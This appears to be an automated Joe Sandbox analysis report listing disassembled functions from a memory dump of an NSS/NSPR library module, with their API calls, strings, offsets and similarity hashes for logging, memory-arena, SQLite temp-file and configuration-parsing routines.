Instruction Fuzzy Hash: F8A10570A042549FDB109B2DCC89FDE7B78EF52318F08056AF80593651D776ED84CB59

Function 6C4B1D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6C4B1DA3

Part of subcall function 6C5898D0: calloc.MOZGLUE(00000001,00000084,6C4B0936,00000001,?,6C4B102C), ref: 6C5898E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6C4B1DB2

Part of subcall function 6C4B1240: TlsGetValue.KERNEL32(00000040,?,6C4B116C,NSPR_LOG_MODULES), ref: 6C4B1267
Part of subcall function 6C4B1240: EnterCriticalSection.KERNEL32(?,?,?,6C4B116C,NSPR_LOG_MODULES), ref: 6C4B127C
Part of subcall function 6C4B1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C4B116C,NSPR_LOG_MODULES), ref: 6C4B1291
Part of subcall function 6C4B1240: PR_Unlock.NSS3(?,?,?,?,6C4B116C,NSPR_LOG_MODULES), ref: 6C4B12A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C4B1DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6C4B1E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6C4B1EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6C4B1ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6C4B1EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6C4B1F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C4B1F34
PR_SetLogBuffering.NSS3(00004000), ref: 6C4B1F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6C4B1F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C4B1F83
PR_SetLogFile.NSS3(00000000), ref: 6C4B1FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6C4B1FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6C4B1FCB
free.MOZGLUE(00000000), ref: 6C4B1FD2

Strings

NSPR_LOG_MODULES, xrefs: 6C4B1DAD
Unable to create nspr log file '%s', xrefs: 6C4B1FB3
all, xrefs: 6C4B1F0E
append, xrefs: 6C4B1EE6
sync, xrefs: 6C4B1E46
%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6C4B1E27
bufsize, xrefs: 6C4B1E9B
, %n, xrefs: 6C4B1E6B
timestamp, xrefs: 6C4B1EC4
NSPR_LOG_FILE, xrefs: 6C4B1F69

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: 4338e6599ac3578a9f78925be42c8e14fa353b8551dea9fb783a14c6a0806db4
Instruction ID: 2415cd205b92380a0df5afcb2025afaa92b48dff27283a9ccee9f62beb9f9059
Opcode Fuzzy Hash: 4338e6599ac3578a9f78925be42c8e14fa353b8551dea9fb783a14c6a0806db4
Instruction Fuzzy Hash: F35194B1E042099BDF00DBE9DC45F9E77B8AF0130AF140529E816EBB40E775E919CBA5

Function 6C4D39F0 Relevance: 44.2, APIs: 23, Strings: 2, Instructions: 439memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C4D5E6F,?), ref: 6C4D3A08

Part of subcall function 6C520FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C4C87ED,00000800,6C4BEF74,00000000), ref: 6C521000
Part of subcall function 6C520FF0: PR_NewLock.NSS3(?,00000800,6C4BEF74,00000000), ref: 6C521016
Part of subcall function 6C520FF0: PL_InitArenaPool.NSS3(00000000,security,6C4C87ED,00000008,?,00000800,6C4BEF74,00000000), ref: 6C52102B

PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C4D5E6F), ref: 6C4D3A1C

Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C5210F3
Part of subcall function 6C5210C0: EnterCriticalSection.KERNEL32(?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52110C
Part of subcall function 6C5210C0: PL_ArenaAllocate.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521141
Part of subcall function 6C5210C0: PR_Unlock.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521182
Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52119C

SECITEM_CopyItem_Util.NSS3(00000000,00000014,00000000), ref: 6C4D3AB0
SECITEM_CopyItem_Util.NSS3(00000000,00000038,?), ref: 6C4D3AEA

Part of subcall function 6C51FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C518D2D,?,00000000,?), ref: 6C51FB85
Part of subcall function 6C51FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C51FBB1

SECITEM_CopyItem_Util.NSS3(00000000,00000014,00000000), ref: 6C4D3B03
SECITEM_CopyItem_Util.NSS3(00000000,00000020,?), ref: 6C4D3B1C

Part of subcall function 6C51FB60: PORT_Alloc_Util.NSS3(E0056800,00000000,?,?,6C518D2D,?,00000000,?), ref: 6C51FB9B

SECITEM_CopyItem_Util.NSS3(00000000,-00000020,o^Ml), ref: 6C4D3BF2
memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4D3A3C

Part of subcall function 6C501B10: TlsGetValue.KERNEL32(00000000,?,6C4D3147,?,?), ref: 6C501B41
Part of subcall function 6C501B10: EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C4D3147,?,?), ref: 6C501B51
Part of subcall function 6C501B10: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C4D3147), ref: 6C501B7C
Part of subcall function 6C501B10: PR_SetError.NSS3(00000000,00000000), ref: 6C501B94

PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C4D5E6F), ref: 6C4D3A79
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?), ref: 6C4D3AC9
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C4D3AD7
PK11_DestroyObject.NSS3(?,?), ref: 6C4D3C1B
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C4D3C40

Strings

o^Ml, xrefs: 6C4D3A2E, 6C4D3BEF, 6C4D3ED1, 6C4D3EFB, 6C4D3FB8
security, xrefs: 6C4D3B6A

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$CopyItem_$Arena$Alloc_Arena_ErrorValue$CriticalEnterFreeSectionUnlock$AllocateDestroyInitK11_LockObjectPoolcallocmemcpymemset
String ID: o^Ml$security
API String ID: 2104508105-1511959018
Opcode ID: c286801195ea5c5353376396cb3a0b9285b0a4e1c942b518da0c8ce28a8b302c
Instruction ID: c3f69f3dc9d56179201b07c3056b8bda306b8cea2c6c0c90e7eb8fa69f9f889a
Opcode Fuzzy Hash: c286801195ea5c5353376396cb3a0b9285b0a4e1c942b518da0c8ce28a8b302c
Instruction Fuzzy Hash: 68E1D5B1A00201ABEB10EE66DC51FA777B8AF5474DF094429FD09DAB52F721F904CBA1

Function 6C596E50 Relevance: 44.0, APIs: 19, Strings: 6, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C44CA30: EnterCriticalSection.KERNEL32(?,?,?,6C4AF9C9,?,6C4AF4DA,6C4AF9C9,?,?,6C47369A), ref: 6C44CA7A
Part of subcall function 6C44CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C44CB26

memset.VCRUNTIME140(00000000,00000000,?,?,6C45BE66), ref: 6C596E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6C45BE66), ref: 6C596E98
sqlite3_snprintf.NSS3(?,00000000,6C5FAAF9,?,?,?,?,?,?,6C45BE66), ref: 6C596EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6C45BE66), ref: 6C596ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6C45BE66), ref: 6C596EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6C45BE66), ref: 6C596F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6C45BE66), ref: 6C596F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6C45BE66), ref: 6C596F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6C45BE66), ref: 6C596FA6
sqlite3_snprintf.NSS3(?,00000000,6C5FAAF9,00000000,?,?,?,?,?,?,?,6C45BE66), ref: 6C596FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6C45BE66), ref: 6C596FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C45BE66), ref: 6C596FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C45BE66), ref: 6C597014
sqlite3_free.NSS3(00000000,?,?,?,?,6C45BE66), ref: 6C59701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6C45BE66), ref: 6C597030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6C45BE66), ref: 6C59705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6C45BE66), ref: 6C597079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C45BE66), ref: 6C597097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6C45BE66), ref: 6C5970A0

Strings

winGetTempname4, xrefs: 6C597046
winGetTempname5, xrefs: 6C597071
winGetTempname2, xrefs: 6C5970C4
P]l, xrefs: 6C5970A8
winGetTempname1, xrefs: 6C59708F
mz_etilqs_, xrefs: 6C596F18

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: P]l$mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-488317526
Opcode ID: 333311d0031309d1b0a2b89b9c767688a038ca25a8269064d62dc795068d7637
Instruction ID: ad09f8af9b5cd2cd11bd33cf4db6fabd1548292f0656457b3127b8691ae96f8f
Opcode Fuzzy Hash: 333311d0031309d1b0a2b89b9c767688a038ca25a8269064d62dc795068d7637
Instruction Fuzzy Hash: F65189B1A042526BF704D6349C55FBB366ADF92348F244578E80697FC1FF26A80E82D7

Function 6C524FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4D75C2,00000000,00000000,00000001), ref: 6C525009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4D75C2,00000000), ref: 6C525049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C52505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6C525071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6C525089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5250A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C5250B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4D75C2), ref: 6C5250CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5250D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C5250F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C525103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C52511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C52512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C525145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C525153
free.MOZGLUE(?), ref: 6C52516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C52517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C525195

Strings

name=, xrefs: 6C525057
config=, xrefs: 6C52509B
parameters=, xrefs: 6C52506B
nss=, xrefs: 6C525083
library=, xrefs: 6C525043

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: d52083ab77bda818938f2918680d96b9f6b221a627ed1b4d7f24cb5390c403ab
Instruction ID: 923f40a13c6a51a8d52eaf4fb376f90e57c351970e2619234c9b6b739246a21a
Opcode Fuzzy Hash: d52083ab77bda818938f2918680d96b9f6b221a627ed1b4d7f24cb5390c403ab
Instruction Fuzzy Hash: 6F51C9B5A01215ABEB01DF24DC41AAF37F89F05348F540430EC56E7B85E729E919CBB6

Function 6C524C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C514F51,00000000), ref: 6C524C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C514F51,00000000), ref: 6C524C5B
PR_smprintf.NSS3(6C5FAAF9,?,0000002F,?,?,?,00000000,00000000,?,6C514F51,00000000), ref: 6C524C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C514F51,00000000), ref: 6C524CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C524CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C524CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C524D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C514F51,00000000), ref: 6C524D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C514F51,00000000), ref: 6C524D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6C524D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6C524DA2
free.MOZGLUE(?), ref: 6C524DB9
free.MOZGLUE(00000000), ref: 6C524DCF

Strings

0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6C524D9D
rust, xrefs: 6C524D22
%s,%s, xrefs: 6C524C4B
any, xrefs: 6C524C96
slotFlags, xrefs: 6C524D34
every, xrefs: 6C524CA1
0x%08lx=[%s %s], xrefs: 6C524D80
timeout, xrefs: 6C524C91
ootT, xrefs: 6C524D1A
rootFlags, xrefs: 6C524D47

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: 52fe7adc6acfe7a98a435ceee250e5296a50163c4cd8696e44ad0e43e74fff5d
Instruction ID: c7561be780b812a40d04b0f2c8d2758da0887350ca73733ed4aecfa57b123a3f
Opcode Fuzzy Hash: 52fe7adc6acfe7a98a435ceee250e5296a50163c4cd8696e44ad0e43e74fff5d
Instruction Fuzzy Hash: 0C41AEB2900141A7DB129F599C81ABF36E5AF92318F094134FC165BB81E739D825CBD7

Function 6C506910 Relevance: 38.6, APIs: 15, Strings: 7, Instructions: 131COMMON

Download Yara Rule

APIs

NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C506943

Part of subcall function 6C524210: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,983E964F,flags,?,00000000,?,6C505947,flags,printPolicyFeedback,?,?,?,?,?,?,00000000), ref: 6C524220
Part of subcall function 6C524210: NSSUTIL_ArgGetParamValue.NSS3(?,GYPl,?,?,?,?,?,?,00000000,?,00000000,?,6C507703,?,00000000,00000000), ref: 6C52422D
Part of subcall function 6C524210: PL_strncasecmp.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C507703), ref: 6C52424B
Part of subcall function 6C524210: free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C507703,?,00000000), ref: 6C524272

NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C506957
NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C506972
NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C506983

Part of subcall function 6C523EA0: isspace.API-MS-WIN-CRT-STRING-L1-1-0(8914C483,70E85609,6C4FC79F,?,6C506247,70E85609,?,?,6C4FC79F,6C50781D,?,6C4FBD52,00000001,70E85609,D85D8B04,?), ref: 6C523EB8

PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C5069AA
PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C5069BE
PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C5069D2
NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C5069DF

Part of subcall function 6C524020: isspace.API-MS-WIN-CRT-STRING-L1-1-0(FFFFEF69,00000000,?,?,766B4C80,?,6C5250B7,?), ref: 6C524041

free.MOZGLUE(00000000), ref: 6C5069F6
NSSUTIL_ArgFetchValue.NSS3(-0000000A,?), ref: 6C506A04
free.MOZGLUE(00000000), ref: 6C506A1B
NSSUTIL_ArgFetchValue.NSS3(-0000000B,?), ref: 6C506A29
free.MOZGLUE(00000000), ref: 6C506A3F
NSSUTIL_ArgFetchValue.NSS3(-0000000A,?), ref: 6C506A4D
NSSUTIL_ArgStrip.NSS3(?), ref: 6C506A5B

Strings

certPrefix=, xrefs: 6C5069B8
nokeydb, xrefs: 6C506968
keyPrefix=, xrefs: 6C5069CC
configdir=, xrefs: 6C5069A4
flags, xrefs: 6C506937, 6C506942, 6C506956, 6C50696D
readOnly, xrefs: 6C50693D
nocertdb, xrefs: 6C506951

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: L_strncasecmpValuefree$FetchFlag$Stripisspace$ParamParameterSkipstrlen
String ID: certPrefix=$configdir=$flags$keyPrefix=$nocertdb$nokeydb$readOnly
API String ID: 2065226673-2785624044
Opcode ID: 6fbc5d9dcde37716bed03378a2f1c666c6f6b5285e183ad9c2338e7cba35077f
Instruction ID: 3693c67843bc85fcc426271424f13b1042e8be0d6ae880b02a24d60bde3c6039
Opcode Fuzzy Hash: 6fbc5d9dcde37716bed03378a2f1c666c6f6b5285e183ad9c2338e7cba35077f
Instruction Fuzzy Hash: DE4162B5B40305ABE700DB65AC82B5F77EC9F55248F180830ED06E6B42FB35DA588AA1

Function 6C506CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C506910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C506943
Part of subcall function 6C506910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C506957
Part of subcall function 6C506910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C506972
Part of subcall function 6C506910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C506983
Part of subcall function 6C506910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C5069AA
Part of subcall function 6C506910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C5069BE
Part of subcall function 6C506910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C5069D2
Part of subcall function 6C506910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C5069DF
Part of subcall function 6C506910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C506A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C506D8C
free.MOZGLUE(00000000), ref: 6C506DC5
free.MOZGLUE(?), ref: 6C506DD6
free.MOZGLUE(?), ref: 6C506DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C506E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C506E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C506E72
free.MOZGLUE(?), ref: 6C506EA7
free.MOZGLUE(?), ref: 6C506EC4
free.MOZGLUE(?), ref: 6C506ED5
free.MOZGLUE(00000000), ref: 6C506EE3
free.MOZGLUE(?), ref: 6C506EF4
free.MOZGLUE(?), ref: 6C506F08
free.MOZGLUE(00000000), ref: 6C506F35
free.MOZGLUE(?), ref: 6C506F44
free.MOZGLUE(?), ref: 6C506F5B
free.MOZGLUE(00000000), ref: 6C506F65

Part of subcall function 6C506C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C50781D,00000000,6C4FBE2C,?,6C506B1D,?,?,?,?,00000000,00000000,6C50781D), ref: 6C506C40
Part of subcall function 6C506C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C50781D,?,6C4FBE2C,?), ref: 6C506C58
Part of subcall function 6C506C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C50781D), ref: 6C506C6F
Part of subcall function 6C506C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C506C84
Part of subcall function 6C506C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C506C96
Part of subcall function 6C506C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C506CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C506F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C506FC5
PK11_GetInternalKeySlot.NSS3 ref: 6C506FF4

Strings

+`Ql, xrefs: 6C506D0D

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

